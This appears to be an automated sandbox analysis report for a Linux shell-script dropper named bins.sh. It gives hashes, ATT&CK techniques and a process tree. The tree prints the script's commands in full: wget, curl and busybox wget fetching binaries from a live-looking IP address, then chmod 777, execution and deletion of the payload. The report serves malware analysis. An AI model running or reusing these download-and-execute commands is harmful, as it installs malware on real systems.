40d95128ef74aeb3e7db7937e9f0a369166df804da9ef079f261d12f41290c19

Analysis

max time kernel
6s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24-11-2024 00:22

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General

Target

bins.sh
Size

10KB
MD5

189e44c8b7f08b35f7db2c3a93458409
SHA1

02f6a3087388a4fd264c352cb40ba6a7aa3867d0
SHA256

40d95128ef74aeb3e7db7937e9f0a369166df804da9ef079f261d12f41290c19
SHA512

26d3894c6c0069e9ce08a08094a5bf9335d980c9f377948f05abc558e59a67e4a98aa59bc9457eaa242223782d2b811821ed53875fa2ca82a96575cf6cb371d2
SSDEEP

192:HX8IUOHvcLp1JgfQomvLw2VMEaiqTfZ1JgMIUOHvc/aiqTf2QomvLDO:HX8IUOHvcLp1JgfQomvLw2VMd1JgMIUZ

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

677 chmod
Executes dropped EXE 1 IoCs

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

ioc pid process

/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy 678 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

curl

description ioc process

File opened for reading /proc/cpuinfo curl
Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
File opened for reading /proc/self/auxv curl

pid	process
677	chmod

ioc	pid	process
/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	678	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

description	ioc	process
File opened for reading	/proc/cpuinfo	curl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	wget
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	curl
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:644
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:651
- /usr/bin/wget
  wget http://216.126.231.240/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:653
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:667
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:674
- /bin/chmod
  chmod 777 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  ./oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Executes dropped EXE
  PID:678
- /bin/rm
  rm oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  PID:680
- /usr/bin/wget
  wget http://216.126.231.240/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  PID:681
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  PID:682

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

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